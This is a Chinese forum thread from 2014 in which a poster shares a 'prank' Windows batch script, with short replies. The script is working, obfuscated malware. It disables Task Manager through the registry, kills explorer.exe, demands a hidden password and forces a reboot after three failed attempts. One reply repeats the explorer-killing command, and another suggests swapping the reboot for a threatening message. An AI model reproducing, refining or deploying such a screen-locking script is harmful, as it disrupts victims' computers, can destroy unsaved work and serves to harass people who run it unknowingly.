新人第一次发贴,来一段恶搞代码。
批处理吧
全部回复
仅看楼主
level 6
刹那丁丁 楼主
这段代码有几个特点
1、代码写得比较乱,没怎么优化。功力有限,大家勿怪。
2、进行了简单的,,姑且算是加密。当然只对小白有用,稍微懂一点的都能看出密码。
3、运行时任务管理器不可用,会结束资源管理器进程。
4、3次内输入密码错误,电脑会自动重启。
5、3次内密码输入密码正确,电脑恢复正常,任务管理器恢复为可用。
楼下上代码
2014年11月08日 13点11分 1
level 6
刹那丁丁 楼主
@echo off&setlocal enabledelayedexpansion
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 1 /f >nul
set c=&set d=&
set k=3
set a=toarsekr&set b=ekxiplll
for /l %%i in (0,2,6) do (
set c=!c!!a:~%%i,1!
set d=!d!!b:~%%i,1!
)
set e=!c!&set f=!d!
for /l %%i in (1,2,7) do (
set e=!e!!b:~%%i,1!
set f=!f!!a:~%%i,1!
)
!e! /f /im !c!mgr.exe 2>nul>nul
:B
!c!list |find /i "!f!.exe">nul
if %errorlevel%==0 (!e! /f /im !f!.exe>nul&goto C) else (goto B)
:C
if !k!==0 (shutdown /r /t 0)
color b
echo 你还有!k!次机会解锁,超过之后电脑将重启。
set /p sz=输入密码:
set /a k+=-1
if not %sz%==%f% (cls&echo 密码错误&goto C)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 0 /f >nul
!c!list |find /i "!f!.exe"
if not %errorlevel%==0 start !f!.exe
2014年11月08日 13点11分 2
代码被贴吧拆分了,还是用传网盘好了。
2014年11月08日 13点11分
2014年11月08日 14点11分
level 1
ACCESS is denied
2014年12月02日 10点12分 4
什么?
2014年12月03日 15点12分
assoc.exe=exefile
2014年12月04日 09点12分
level 3
认认真真看贴老老实实回复
去吧,皮卡丘,
 /\7    ∠_/
  / │   / /
 │ Z _,< /   /`ヽ
 │     ヽ   /  〉
  Y     `  /  /
 ?● ? ●  ??〈  /
 ()  へ    | \〈
  >? ?_  ィ  │ //
  / へ   / ?<| \\
  ヽ_?  (_/  │//
  7       |/
  >―r ̄ ̄`?―_
把经验带回来!
2014年12月04日 08点12分 5
level 10
taskkill /f /im explorer.exe
把shutdown /r /t 0改成echo 立刻关机,禁止任何操作,不然后果自负。
2014年12月08日 16点12分 6
1